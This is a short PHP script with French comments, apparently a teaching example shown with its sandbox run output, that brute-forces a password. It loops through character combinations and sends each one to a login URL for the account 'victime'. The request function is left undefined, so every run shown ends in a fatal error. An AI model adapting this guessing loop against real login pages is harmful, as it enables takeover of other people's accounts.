<?php
$maxLength = 5;
$minCharValue = 33;
$maxCharValue = 36;
$pass = array();
// une petite fonction utilitaire pour récupérer le mot de passe en string
function arrayToString($array) {
return implode( array_map('chr', $array) );
}
// la fonction qui teste le mot de passe !
function test($array) {
$password = arrayToString($array);
$result = faireUneRequete("https://www.lesite.com/login.php?pseudo=victime&pass=$password");
return $result;
}
while( count($pass) < $maxLength + 1) {
// on incrémente la première lettre
for ($i = $minCharValue; $i <= $maxCharValue; $i++) {
$pass[0] = $i;
// puis on test le mot de passe !
if ( test($pass) ){
// si on a trouvé, on s'arrête
echo arrayToString($pass);
break;
}
}
// on remet à zéro (33, en fait) tous les caractères qui sont arrivés au bout
$j = 0;
while ( $pass[$j] == $maxCharValue ) {
$pass[$j] = $minCharValue;
$j++;
// si $j dépasse la taille de $pass, il faut l'agrandir !
// sinon, Undefined offset
if ($j >= count($pass) ) {
$pass[$j] = $minCharValue - 1;
}
}
// on incrémente la denière lettre qui n'est pas 126
$pass[$j]++;
}
Fatal error: Uncaught Error: Call to undefined function faireUneRequete() in /in/9LC6s:18
Stack trace:
#0 /in/9LC6s(29): test(Array)
#1 {main}
thrown in /in/9LC6s on line 18
Process exited with code 255.
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
Fatal error: Uncaught Error: Call to undefined function faireUneRequete() in /in/9LC6s:18
Stack trace:
#0 /in/9LC6s(29): test(Array)
#1 {main}
thrown in /in/9LC6s on line 18
Process exited with code 255.